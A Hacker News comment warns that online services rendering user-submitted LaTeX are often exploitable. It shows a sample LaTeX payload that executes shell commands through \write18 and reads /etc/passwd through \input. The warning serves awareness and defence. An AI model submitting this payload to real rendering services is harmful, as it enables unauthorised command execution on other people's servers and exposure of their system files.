Hacker News new | past | comments | ask | show | jobs | submit login

If you run/operate/host an online service which allows rendering user-submitted LaTeX you must care about security.

There are a bunch of sites which take arbitrary input and convert it to PDF - they're often easily exploited, to allow arbitrary files to be read from the server, and commands executed:

       \begin{document}
       \setlength{\parindent}{0cm}{\Huge \Hello}
       
       \bigskip
       \section*{Execute Commands}
       \immediate\write18{uptime> scriptoutput.tex}
       \immediate\write18{id >> scriptoutput.tex}
       \immediate\write18{ps -ef >> scriptoutput.tex}
       \begin{alltt}
       \input{scriptoutput.tex}
       \end{alltt}
       
       \bigskip
       \section*{Read Files}
       \begin{alltt}
       \input{/etc/passwd}
       \end{alltt}



Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: